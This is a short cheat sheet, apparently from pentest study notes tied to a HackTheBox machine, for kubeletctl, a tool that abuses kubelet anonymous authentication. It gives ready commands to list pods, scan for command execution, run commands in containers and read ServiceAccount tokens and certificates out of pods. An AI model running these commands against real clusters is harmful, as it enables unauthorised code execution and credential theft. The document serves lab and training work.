🛠️ kubeletctl

Installation

curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64
chmod a+x ./kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

Common Flags

kubeletctl talks to a kubelet’s HTTPS API directly (10250 by default) — the thing raw curl can’t do end-to-end, since /exec and /run upgrade to a websocket connection rather than returning a plain HTTP response. Used almost exclusively for abusing kubelet anonymous authentication, see Kubernetes - Kubelet API Anonymous Access.

Flag	Description
--server	Target Node IP (kubelet API host).
-p, --pod	Target Pod name for exec/run.
-c, --container	Target container name within the Pod.
-t, --token	Bearer token, if the kubelet actually enforces auth.

Common Commands

List every Pod on the Node

kubeletctl --server <node-ip> pods

Find which Pods accept command execution

kubeletctl --server <node-ip> scan rce

Run a command inside a specific Pod/container

kubeletctl --server <node-ip> exec "id" -p <pod> -c <container>

Harvest that Pod’s ServiceAccount credentials

kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p <pod> -c <container>

Tips & Tricks

• scan rce exists because not every listed Pod actually accepts /exec or /run — it saves the trial-and-error of trying each Pod by hand and reports which ones (and via which method, run vs exec) actually work.
• Raw curl -k https://<node-ip>:10250/pods still works fine for the read-only recon step (just returns plain JSON) — kubeletctl only becomes necessary once actual command execution is the goal.

Related Usage

File	Created
HTB Machine - SteamCloud	July 27, 2026

---

References: cyberark/kubeletctl (GitHub)